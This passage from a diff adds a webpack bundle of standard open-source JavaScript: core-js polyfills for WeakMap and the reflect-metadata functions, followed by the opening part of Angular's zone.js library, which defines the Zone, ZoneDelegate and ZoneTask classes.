+var weak = __webpack_require__(/*! ./_collection-weak */ "./node_modules/core-js/modules/_collection-weak.js");
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js");
+var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js");
+var WEAK_MAP = 'WeakMap';
+var getWeak = meta.getWeak;
+var isExtensible = Object.isExtensible;
+var uncaughtFrozenStore = weak.ufstore;
+var tmp = {};
+var InternalMap;
+
+var wrapper = function (get) {
+ return function WeakMap() {
+ return get(this, arguments.length > 0 ? arguments[0] : undefined);
+ };
+};
+
+var methods = {
+ // 23.3.3.3 WeakMap.prototype.get(key)
+ get: function get(key) {
+ if (isObject(key)) {
+ var data = getWeak(key);
+ if (data === true) return uncaughtFrozenStore(validate(this, WEAK_MAP)).get(key);
+ return data ? data[this._i] : undefined;
+ }
+ },
+ // 23.3.3.5 WeakMap.prototype.set(key, value)
+ set: function set(key, value) {
+ return weak.def(validate(this, WEAK_MAP), key, value);
+ }
+};
+
+// 23.3 WeakMap Objects
+var $WeakMap = module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(WEAK_MAP, wrapper, methods, weak, true, true);
+
+// IE11 WeakMap frozen keys fix
+if (fails(function () { return new $WeakMap().set((Object.freeze || Object)(tmp), 7).get(tmp) != 7; })) {
+ InternalMap = weak.getConstructor(wrapper, WEAK_MAP);
+ assign(InternalMap.prototype, methods);
+ meta.NEED = true;
+ each(['delete', 'has', 'get', 'set'], function (key) {
+ var proto = $WeakMap.prototype;
+ var method = proto[key];
+ redefine(proto, key, function (a, b) {
+ // store frozen objects on internal weakmap shim
+ if (isObject(a) && !isExtensible(a)) {
+ if (!this._f) this._f = new InternalMap();
+ var result = this._f[key](a, b);
+ return key == 'set' ? this : result;
+ // store all the rest on native weakmap
+ } return method.call(this, a, b);
+ });
+ });
+}
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.define-metadata.js":
+/*!*********************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.define-metadata.js ***!
+ \*********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var toMetaKey = metadata.key;
+var ordinaryDefineOwnMetadata = metadata.set;
+
+metadata.exp({ defineMetadata: function defineMetadata(metadataKey, metadataValue, target, targetKey) {
+ ordinaryDefineOwnMetadata(metadataKey, metadataValue, anObject(target), toMetaKey(targetKey));
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.delete-metadata.js":
+/*!*********************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.delete-metadata.js ***!
+ \*********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var toMetaKey = metadata.key;
+var getOrCreateMetadataMap = metadata.map;
+var store = metadata.store;
+
+metadata.exp({ deleteMetadata: function deleteMetadata(metadataKey, target /* , targetKey */) {
+ var targetKey = arguments.length < 3 ? undefined : toMetaKey(arguments[2]);
+ var metadataMap = getOrCreateMetadataMap(anObject(target), targetKey, false);
+ if (metadataMap === undefined || !metadataMap['delete'](metadataKey)) return false;
+ if (metadataMap.size) return true;
+ var targetMetadata = store.get(target);
+ targetMetadata['delete'](targetKey);
+ return !!targetMetadata.size || store['delete'](target);
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.get-metadata-keys.js":
+/*!***********************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.get-metadata-keys.js ***!
+ \***********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var Set = __webpack_require__(/*! ./es6.set */ "./node_modules/core-js/modules/es6.set.js");
+var from = __webpack_require__(/*! ./_array-from-iterable */ "./node_modules/core-js/modules/_array-from-iterable.js");
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js");
+var ordinaryOwnMetadataKeys = metadata.keys;
+var toMetaKey = metadata.key;
+
+var ordinaryMetadataKeys = function (O, P) {
+ var oKeys = ordinaryOwnMetadataKeys(O, P);
+ var parent = getPrototypeOf(O);
+ if (parent === null) return oKeys;
+ var pKeys = ordinaryMetadataKeys(parent, P);
+ return pKeys.length ? oKeys.length ? from(new Set(oKeys.concat(pKeys))) : pKeys : oKeys;
+};
+
+metadata.exp({ getMetadataKeys: function getMetadataKeys(target /* , targetKey */) {
+ return ordinaryMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.get-metadata.js":
+/*!******************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.get-metadata.js ***!
+ \******************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js");
+var ordinaryHasOwnMetadata = metadata.has;
+var ordinaryGetOwnMetadata = metadata.get;
+var toMetaKey = metadata.key;
+
+var ordinaryGetMetadata = function (MetadataKey, O, P) {
+ var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
+ if (hasOwn) return ordinaryGetOwnMetadata(MetadataKey, O, P);
+ var parent = getPrototypeOf(O);
+ return parent !== null ? ordinaryGetMetadata(MetadataKey, parent, P) : undefined;
+};
+
+metadata.exp({ getMetadata: function getMetadata(metadataKey, target /* , targetKey */) {
+ return ordinaryGetMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.get-own-metadata-keys.js":
+/*!***************************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.get-own-metadata-keys.js ***!
+ \***************************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var ordinaryOwnMetadataKeys = metadata.keys;
+var toMetaKey = metadata.key;
+
+metadata.exp({ getOwnMetadataKeys: function getOwnMetadataKeys(target /* , targetKey */) {
+ return ordinaryOwnMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.get-own-metadata.js":
+/*!**********************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.get-own-metadata.js ***!
+ \**********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var ordinaryGetOwnMetadata = metadata.get;
+var toMetaKey = metadata.key;
+
+metadata.exp({ getOwnMetadata: function getOwnMetadata(metadataKey, target /* , targetKey */) {
+ return ordinaryGetOwnMetadata(metadataKey, anObject(target)
+ , arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.has-metadata.js":
+/*!******************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.has-metadata.js ***!
+ \******************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js");
+var ordinaryHasOwnMetadata = metadata.has;
+var toMetaKey = metadata.key;
+
+var ordinaryHasMetadata = function (MetadataKey, O, P) {
+ var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
+ if (hasOwn) return true;
+ var parent = getPrototypeOf(O);
+ return parent !== null ? ordinaryHasMetadata(MetadataKey, parent, P) : false;
+};
+
+metadata.exp({ hasMetadata: function hasMetadata(metadataKey, target /* , targetKey */) {
+ return ordinaryHasMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.has-own-metadata.js":
+/*!**********************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.has-own-metadata.js ***!
+ \**********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var ordinaryHasOwnMetadata = metadata.has;
+var toMetaKey = metadata.key;
+
+metadata.exp({ hasOwnMetadata: function hasOwnMetadata(metadataKey, target /* , targetKey */) {
+ return ordinaryHasOwnMetadata(metadataKey, anObject(target)
+ , arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/es7.reflect.metadata.js":
+/*!**************************************************************!*\
+ !*** ./node_modules/core-js/modules/es7.reflect.metadata.js ***!
+ \**************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var $metadata = __webpack_require__(/*! ./_metadata */ "./node_modules/core-js/modules/_metadata.js");
+var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js");
+var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js");
+var toMetaKey = $metadata.key;
+var ordinaryDefineOwnMetadata = $metadata.set;
+
+$metadata.exp({ metadata: function metadata(metadataKey, metadataValue) {
+ return function decorator(target, targetKey) {
+ ordinaryDefineOwnMetadata(
+ metadataKey, metadataValue,
+ (targetKey !== undefined ? anObject : aFunction)(target),
+ toMetaKey(targetKey)
+ );
+ };
+} });
+
+
+/***/ }),
+
+/***/ "./node_modules/zone.js/dist/zone.js":
+/*!*******************************************!*\
+ !*** ./node_modules/zone.js/dist/zone.js ***!
+ \*******************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+/**
+* @license
+* Copyright Google Inc. All Rights Reserved.
+*
+* Use of this source code is governed by an MIT-style license that can be
+* found in the LICENSE file at https://angular.io/license
+*/
+(function (global, factory) {
+ true ? factory() :
+ undefined;
+}(this, (function () { 'use strict';
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+var Zone$1 = (function (global) {
+ var performance = global['performance'];
+ function mark(name) {
+ performance && performance['mark'] && performance['mark'](name);
+ }
+ function performanceMeasure(name, label) {
+ performance && performance['measure'] && performance['measure'](name, label);
+ }
+ mark('Zone');
+ var checkDuplicate = global[('__zone_symbol__forceDuplicateZoneCheck')] === true;
+ if (global['Zone']) {
+ // if global['Zone'] already exists (maybe zone.js was already loaded or
+ // some other lib also registered a global object named Zone), we may need
+ // to throw an error, but sometimes user may not want this error.
+ // For example,
+ // we have two web pages, page1 includes zone.js, page2 doesn't.
+ // and the 1st time user load page1 and page2, everything work fine,
+ // but when user load page2 again, error occurs because global['Zone'] already exists.
+ // so we add a flag to let user choose whether to throw this error or not.
+ // By default, if existing Zone is from zone.js, we will not throw the error.
+ if (checkDuplicate || typeof global['Zone'].__symbol__ !== 'function') {
+ throw new Error('Zone already loaded.');
+ }
+ else {
+ return global['Zone'];
+ }
+ }
+ var Zone = /** @class */ (function () {
+ function Zone(parent, zoneSpec) {
+ this._parent = parent;
+ this._name = zoneSpec ? zoneSpec.name || 'unnamed' : '';
+ this._properties = zoneSpec && zoneSpec.properties || {};
+ this._zoneDelegate =
+ new ZoneDelegate(this, this._parent && this._parent._zoneDelegate, zoneSpec);
+ }
+ Zone.assertZonePatched = function () {
+ if (global['Promise'] !== patches['ZoneAwarePromise']) {
+ throw new Error('Zone.js has detected that ZoneAwarePromise `(window|global).Promise` ' +
+ 'has been overwritten.\n' +
+ 'Most likely cause is that a Promise polyfill has been loaded ' +
+ 'after Zone.js (Polyfilling Promise api is not necessary when zone.js is loaded. ' +
+ 'If you must load one, do so before loading zone.js.)');
+ }
+ };
+ Object.defineProperty(Zone, "root", {
+ get: function () {
+ var zone = Zone.current;
+ while (zone.parent) {
+ zone = zone.parent;
+ }
+ return zone;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ Object.defineProperty(Zone, "current", {
+ get: function () {
+ return _currentZoneFrame.zone;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ Object.defineProperty(Zone, "currentTask", {
+ get: function () {
+ return _currentTask;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ Zone.__load_patch = function (name, fn) {
+ if (patches.hasOwnProperty(name)) {
+ if (checkDuplicate) {
+ throw Error('Already loaded patch: ' + name);
+ }
+ }
+ else if (!global['__Zone_disable_' + name]) {
+ var perfName = 'Zone:' + name;
+ mark(perfName);
+ patches[name] = fn(global, Zone, _api);
+ performanceMeasure(perfName, perfName);
+ }
+ };
+ Object.defineProperty(Zone.prototype, "parent", {
+ get: function () {
+ return this._parent;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ Object.defineProperty(Zone.prototype, "name", {
+ get: function () {
+ return this._name;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ Zone.prototype.get = function (key) {
+ var zone = this.getZoneWith(key);
+ if (zone)
+ return zone._properties[key];
+ };
+ Zone.prototype.getZoneWith = function (key) {
+ var current = this;
+ while (current) {
+ if (current._properties.hasOwnProperty(key)) {
+ return current;
+ }
+ current = current._parent;
+ }
+ return null;
+ };
+ Zone.prototype.fork = function (zoneSpec) {
+ if (!zoneSpec)
+ throw new Error('ZoneSpec required!');
+ return this._zoneDelegate.fork(this, zoneSpec);
+ };
+ Zone.prototype.wrap = function (callback, source) {
+ if (typeof callback !== 'function') {
+ throw new Error('Expecting function got: ' + callback);
+ }
+ var _callback = this._zoneDelegate.intercept(this, callback, source);
+ var zone = this;
+ return function () {
+ return zone.runGuarded(_callback, this, arguments, source);
+ };
+ };
+ Zone.prototype.run = function (callback, applyThis, applyArgs, source) {
+ _currentZoneFrame = { parent: _currentZoneFrame, zone: this };
+ try {
+ return this._zoneDelegate.invoke(this, callback, applyThis, applyArgs, source);
+ }
+ finally {
+ _currentZoneFrame = _currentZoneFrame.parent;
+ }
+ };
+ Zone.prototype.runGuarded = function (callback, applyThis, applyArgs, source) {
+ if (applyThis === void 0) { applyThis = null; }
+ _currentZoneFrame = { parent: _currentZoneFrame, zone: this };
+ try {
+ try {
+ return this._zoneDelegate.invoke(this, callback, applyThis, applyArgs, source);
+ }
+ catch (error) {
+ if (this._zoneDelegate.handleError(this, error)) {
+ throw error;
+ }
+ }
+ }
+ finally {
+ _currentZoneFrame = _currentZoneFrame.parent;
+ }
+ };
+ Zone.prototype.runTask = function (task, applyThis, applyArgs) {
+ if (task.zone != this) {
+ throw new Error('A task can only be run in the zone of creation! (Creation: ' +
+ (task.zone || NO_ZONE).name + '; Execution: ' + this.name + ')');
+ }
+ // https://github.com/angular/zone.js/issues/778, sometimes eventTask
+ // will run in notScheduled(canceled) state, we should not try to
+ // run such kind of task but just return
+ if (task.state === notScheduled && (task.type === eventTask || task.type === macroTask)) {
+ return;
+ }
+ var reEntryGuard = task.state != running;
+ reEntryGuard && task._transitionTo(running, scheduled);
+ task.runCount++;
+ var previousTask = _currentTask;
+ _currentTask = task;
+ _currentZoneFrame = { parent: _currentZoneFrame, zone: this };
+ try {
+ if (task.type == macroTask && task.data && !task.data.isPeriodic) {
+ task.cancelFn = undefined;
+ }
+ try {
+ return this._zoneDelegate.invokeTask(this, task, applyThis, applyArgs);
+ }
+ catch (error) {
+ if (this._zoneDelegate.handleError(this, error)) {
+ throw error;
+ }
+ }
+ }
+ finally {
+ // if the task's state is notScheduled or unknown, then it has already been cancelled
+ // we should not reset the state to scheduled
+ if (task.state !== notScheduled && task.state !== unknown) {
+ if (task.type == eventTask || (task.data && task.data.isPeriodic)) {
+ reEntryGuard && task._transitionTo(scheduled, running);
+ }
+ else {
+ task.runCount = 0;
+ this._updateTaskCount(task, -1);
+ reEntryGuard &&
+ task._transitionTo(notScheduled, running, notScheduled);
+ }
+ }
+ _currentZoneFrame = _currentZoneFrame.parent;
+ _currentTask = previousTask;
+ }
+ };
+ Zone.prototype.scheduleTask = function (task) {
+ if (task.zone && task.zone !== this) {
+ // check if the task was rescheduled, the newZone
+ // should not be the children of the original zone
+ var newZone = this;
+ while (newZone) {
+ if (newZone === task.zone) {
+ throw Error("can not reschedule task to " + this.name + " which is descendants of the original zone " + task.zone.name);
+ }
+ newZone = newZone.parent;
+ }
+ }
+ task._transitionTo(scheduling, notScheduled);
+ var zoneDelegates = [];
+ task._zoneDelegates = zoneDelegates;
+ task._zone = this;
+ try {
+ task = this._zoneDelegate.scheduleTask(this, task);
+ }
+ catch (err) {
+ // should set task's state to unknown when scheduleTask throw error
+ // because the err may from reschedule, so the fromState maybe notScheduled
+ task._transitionTo(unknown, scheduling, notScheduled);
+ // TODO: @JiaLiPassion, should we check the result from handleError?
+ this._zoneDelegate.handleError(this, err);
+ throw err;
+ }
+ if (task._zoneDelegates === zoneDelegates) {
+ // we have to check because internally the delegate can reschedule the task.
+ this._updateTaskCount(task, 1);
+ }
+ if (task.state == scheduling) {
+ task._transitionTo(scheduled, scheduling);
+ }
+ return task;
+ };
+ Zone.prototype.scheduleMicroTask = function (source, callback, data, customSchedule) {
+ return this.scheduleTask(new ZoneTask(microTask, source, callback, data, customSchedule, undefined));
+ };
+ Zone.prototype.scheduleMacroTask = function (source, callback, data, customSchedule, customCancel) {
+ return this.scheduleTask(new ZoneTask(macroTask, source, callback, data, customSchedule, customCancel));
+ };
+ Zone.prototype.scheduleEventTask = function (source, callback, data, customSchedule, customCancel) {
+ return this.scheduleTask(new ZoneTask(eventTask, source, callback, data, customSchedule, customCancel));
+ };
+ Zone.prototype.cancelTask = function (task) {
+ if (task.zone != this)
+ throw new Error('A task can only be cancelled in the zone of creation! (Creation: ' +
+ (task.zone || NO_ZONE).name + '; Execution: ' + this.name + ')');
+ task._transitionTo(canceling, scheduled, running);
+ try {
+ this._zoneDelegate.cancelTask(this, task);
+ }
+ catch (err) {
+ // if error occurs when cancelTask, transit the state to unknown
+ task._transitionTo(unknown, canceling);
+ this._zoneDelegate.handleError(this, err);
+ throw err;
+ }
+ this._updateTaskCount(task, -1);
+ task._transitionTo(notScheduled, canceling);
+ task.runCount = 0;
+ return task;
+ };
+ Zone.prototype._updateTaskCount = function (task, count) {
+ var zoneDelegates = task._zoneDelegates;
+ if (count == -1) {
+ task._zoneDelegates = null;
+ }
+ for (var i = 0; i < zoneDelegates.length; i++) {
+ zoneDelegates[i]._updateTaskCount(task.type, count);
+ }
+ };
+ Zone.__symbol__ = __symbol__;
+ return Zone;
+ }());
+ var DELEGATE_ZS = {
+ name: '',
+ onHasTask: function (delegate, _, target, hasTaskState) { return delegate.hasTask(target, hasTaskState); },
+ onScheduleTask: function (delegate, _, target, task) {
+ return delegate.scheduleTask(target, task);
+ },
+ onInvokeTask: function (delegate, _, target, task, applyThis, applyArgs) {
+ return delegate.invokeTask(target, task, applyThis, applyArgs);
+ },
+ onCancelTask: function (delegate, _, target, task) { return delegate.cancelTask(target, task); }
+ };
+ var ZoneDelegate = /** @class */ (function () {
+ function ZoneDelegate(zone, parentDelegate, zoneSpec) {
+ this._taskCounts = { 'microTask': 0, 'macroTask': 0, 'eventTask': 0 };
+ this.zone = zone;
+ this._parentDelegate = parentDelegate;
+ this._forkZS = zoneSpec && (zoneSpec && zoneSpec.onFork ? zoneSpec : parentDelegate._forkZS);
+ this._forkDlgt = zoneSpec && (zoneSpec.onFork ? parentDelegate : parentDelegate._forkDlgt);
+ this._forkCurrZone = zoneSpec && (zoneSpec.onFork ? this.zone : parentDelegate.zone);
+ this._interceptZS =
+ zoneSpec && (zoneSpec.onIntercept ? zoneSpec : parentDelegate._interceptZS);
+ this._interceptDlgt =
+ zoneSpec && (zoneSpec.onIntercept ? parentDelegate : parentDelegate._interceptDlgt);
+ this._interceptCurrZone =
+ zoneSpec && (zoneSpec.onIntercept ? this.zone : parentDelegate.zone);
+ this._invokeZS = zoneSpec && (zoneSpec.onInvoke ? zoneSpec : parentDelegate._invokeZS);
+ this._invokeDlgt =
+ zoneSpec && (zoneSpec.onInvoke ? parentDelegate : parentDelegate._invokeDlgt);
+ this._invokeCurrZone = zoneSpec && (zoneSpec.onInvoke ? this.zone : parentDelegate.zone);
+ this._handleErrorZS =
+ zoneSpec && (zoneSpec.onHandleError ? zoneSpec : parentDelegate._handleErrorZS);
+ this._handleErrorDlgt =
+ zoneSpec && (zoneSpec.onHandleError ? parentDelegate : parentDelegate._handleErrorDlgt);
+ this._handleErrorCurrZone =
+ zoneSpec && (zoneSpec.onHandleError ? this.zone : parentDelegate.zone);
+ this._scheduleTaskZS =
+ zoneSpec && (zoneSpec.onScheduleTask ? zoneSpec : parentDelegate._scheduleTaskZS);
+ this._scheduleTaskDlgt = zoneSpec &&
+ (zoneSpec.onScheduleTask ? parentDelegate : parentDelegate._scheduleTaskDlgt);
+ this._scheduleTaskCurrZone =
+ zoneSpec && (zoneSpec.onScheduleTask ? this.zone : parentDelegate.zone);
+ this._invokeTaskZS =
+ zoneSpec && (zoneSpec.onInvokeTask ? zoneSpec : parentDelegate._invokeTaskZS);
+ this._invokeTaskDlgt =
+ zoneSpec && (zoneSpec.onInvokeTask ? parentDelegate : parentDelegate._invokeTaskDlgt);
+ this._invokeTaskCurrZone =
+ zoneSpec && (zoneSpec.onInvokeTask ? this.zone : parentDelegate.zone);
+ this._cancelTaskZS =
+ zoneSpec && (zoneSpec.onCancelTask ? zoneSpec : parentDelegate._cancelTaskZS);
+ this._cancelTaskDlgt =
+ zoneSpec && (zoneSpec.onCancelTask ? parentDelegate : parentDelegate._cancelTaskDlgt);
+ this._cancelTaskCurrZone =
+ zoneSpec && (zoneSpec.onCancelTask ? this.zone : parentDelegate.zone);
+ this._hasTaskZS = null;
+ this._hasTaskDlgt = null;
+ this._hasTaskDlgtOwner = null;
+ this._hasTaskCurrZone = null;
+ var zoneSpecHasTask = zoneSpec && zoneSpec.onHasTask;
+ var parentHasTask = parentDelegate && parentDelegate._hasTaskZS;
+ if (zoneSpecHasTask || parentHasTask) {
+ // If we need to report hasTask, than this ZS needs to do ref counting on tasks. In such
+ // a case all task related interceptors must go through this ZD. We can't short circuit it.
+ this._hasTaskZS = zoneSpecHasTask ? zoneSpec : DELEGATE_ZS;
+ this._hasTaskDlgt = parentDelegate;
+ this._hasTaskDlgtOwner = this;
+ this._hasTaskCurrZone = zone;
+ if (!zoneSpec.onScheduleTask) {
+ this._scheduleTaskZS = DELEGATE_ZS;
+ this._scheduleTaskDlgt = parentDelegate;
+ this._scheduleTaskCurrZone = this.zone;
+ }
+ if (!zoneSpec.onInvokeTask) {
+ this._invokeTaskZS = DELEGATE_ZS;
+ this._invokeTaskDlgt = parentDelegate;
+ this._invokeTaskCurrZone = this.zone;
+ }
+ if (!zoneSpec.onCancelTask) {
+ this._cancelTaskZS = DELEGATE_ZS;
+ this._cancelTaskDlgt = parentDelegate;
+ this._cancelTaskCurrZone = this.zone;
+ }
+ }
+ }
+ ZoneDelegate.prototype.fork = function (targetZone, zoneSpec) {
+ return this._forkZS ? this._forkZS.onFork(this._forkDlgt, this.zone, targetZone, zoneSpec) :
+ new Zone(targetZone, zoneSpec);
+ };
+ ZoneDelegate.prototype.intercept = function (targetZone, callback, source) {
+ return this._interceptZS ?
+ this._interceptZS.onIntercept(this._interceptDlgt, this._interceptCurrZone, targetZone, callback, source) :
+ callback;
+ };
+ ZoneDelegate.prototype.invoke = function (targetZone, callback, applyThis, applyArgs, source) {
+ return this._invokeZS ? this._invokeZS.onInvoke(this._invokeDlgt, this._invokeCurrZone, targetZone, callback, applyThis, applyArgs, source) :
+ callback.apply(applyThis, applyArgs);
+ };
+ ZoneDelegate.prototype.handleError = function (targetZone, error) {
+ return this._handleErrorZS ?
+ this._handleErrorZS.onHandleError(this._handleErrorDlgt, this._handleErrorCurrZone, targetZone, error) :
+ true;
+ };
+ ZoneDelegate.prototype.scheduleTask = function (targetZone, task) {
+ var returnTask = task;
+ if (this._scheduleTaskZS) {
+ if (this._hasTaskZS) {
+ returnTask._zoneDelegates.push(this._hasTaskDlgtOwner);
+ }
+ returnTask = this._scheduleTaskZS.onScheduleTask(this._scheduleTaskDlgt, this._scheduleTaskCurrZone, targetZone, task);
+ if (!returnTask)
+ returnTask = task;
+ }
+ else {
+ if (task.scheduleFn) {
+ task.scheduleFn(task);
+ }
+ else if (task.type == microTask) {
+ scheduleMicroTask(task);
+ }
+ else {
+ throw new Error('Task is missing scheduleFn.');
+ }
+ }
+ return returnTask;
+ };
+ ZoneDelegate.prototype.invokeTask = function (targetZone, task, applyThis, applyArgs) {
+ return this._invokeTaskZS ? this._invokeTaskZS.onInvokeTask(this._invokeTaskDlgt, this._invokeTaskCurrZone, targetZone, task, applyThis, applyArgs) :
+ task.callback.apply(applyThis, applyArgs);
+ };
+ ZoneDelegate.prototype.cancelTask = function (targetZone, task) {
+ var value;
+ if (this._cancelTaskZS) {
+ value = this._cancelTaskZS.onCancelTask(this._cancelTaskDlgt, this._cancelTaskCurrZone, targetZone, task);
+ }
+ else {
+ if (!task.cancelFn) {
+ throw Error('Task is not cancelable');
+ }
+ value = task.cancelFn(task);
+ }
+ return value;
+ };
+ ZoneDelegate.prototype.hasTask = function (targetZone, isEmpty) {
+ // hasTask should not throw error so other ZoneDelegate
+ // can still trigger hasTask callback
+ try {
+ this._hasTaskZS &&
+ this._hasTaskZS.onHasTask(this._hasTaskDlgt, this._hasTaskCurrZone, targetZone, isEmpty);
+ }
+ catch (err) {
+ this.handleError(targetZone, err);
+ }
+ };
+ ZoneDelegate.prototype._updateTaskCount = function (type, count) {
+ var counts = this._taskCounts;
+ var prev = counts[type];
+ var next = counts[type] = prev + count;
+ if (next < 0) {
+ throw new Error('More tasks executed then were scheduled.');
+ }
+ if (prev == 0 || next == 0) {
+ var isEmpty = {
+ microTask: counts['microTask'] > 0,
+ macroTask: counts['macroTask'] > 0,
+ eventTask: counts['eventTask'] > 0,
+ change: type
+ };
+ this.hasTask(this.zone, isEmpty);
+ }
+ };
+ return ZoneDelegate;
+ }());
+ var ZoneTask = /** @class */ (function () {
+ function ZoneTask(type, source, callback, options, scheduleFn, cancelFn) {
+ this._zone = null;
+ this.runCount = 0;
+ this._zoneDelegates = null;
+ this._state = 'notScheduled';
+ this.type = type;
+ this.source = source;
+ this.data = options;
+ this.scheduleFn = scheduleFn;
+ this.cancelFn = cancelFn;
+ this.callback = callback;
+ var self = this;
+ // TODO: @JiaLiPassion options should have interface
+ if (type === eventTask && options && options.useG) {
+ this.invoke = ZoneTask.invokeTask;
+ }
+ else {
+ this.invoke = function () {
+ return ZoneTask.invokeTask.call(global, self, this, arguments);
+ };
+ }
+ }
+ ZoneTask.invokeTask = function (task, target, args) {
+ if (!task) {
+ task = this;
+ }
+ _numberOfNestedTaskFrames++;
+ try {
+ task.runCount++;
+ return task.zone.runTask(task, target, args);
+ }
+ finally {
+ if (_numberOfNestedTaskFrames == 1) {
+ drainMicroTaskQueue();
+ }
+ _numberOfNestedTaskFrames--;
+ }
+ };
+ Object.defineProperty(ZoneTask.prototype, "zone", {
+ get: function () {
+ return this._zone;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ Object.defineProperty(ZoneTask.prototype, "state", {
+ get: function () {
+ return this._state;
+ },
+ enumerable: true,
+ configurable: true
+ });
+ ZoneTask.prototype.cancelScheduleRequest = function () {
+ this._transitionTo(notScheduled, scheduling);
+ };
+ ZoneTask.prototype._transitionTo = function (toState, fromState1, fromState2) {
+ if (this._state === fromState1 || this._state === fromState2) {
+ this._state = toState;
+ if (toState == notScheduled) {
+ this._zoneDelegates = null;
+ }
+ }
+ else {
+ throw new Error(this.type + " '" + this.source + "': can not transition to '" + toState + "', expecting state '" + fromState1 + "'" + (fromState2 ? ' or \'' + fromState2 + '\'' : '') + ", was '" + this._state + "'.");
+ }
+ };
+ ZoneTask.prototype.toString = function () {
+ if (this.data && typeof this.data.handleId !== 'undefined') {
+ return this.data.handleId.toString();
+ }
+ else {
+ return Object.prototype.toString.call(this);
+ }
+ };
+ // add toJSON method to prevent cyclic error when
+ // call JSON.stringify(zoneTask)
+ ZoneTask.prototype.toJSON = function () {
+ return {
+ type: this.type,
+ state: this.state,
+ source: this.source,
+ zone: this.zone.name,
+ runCount: this.runCount
+ };
+ };
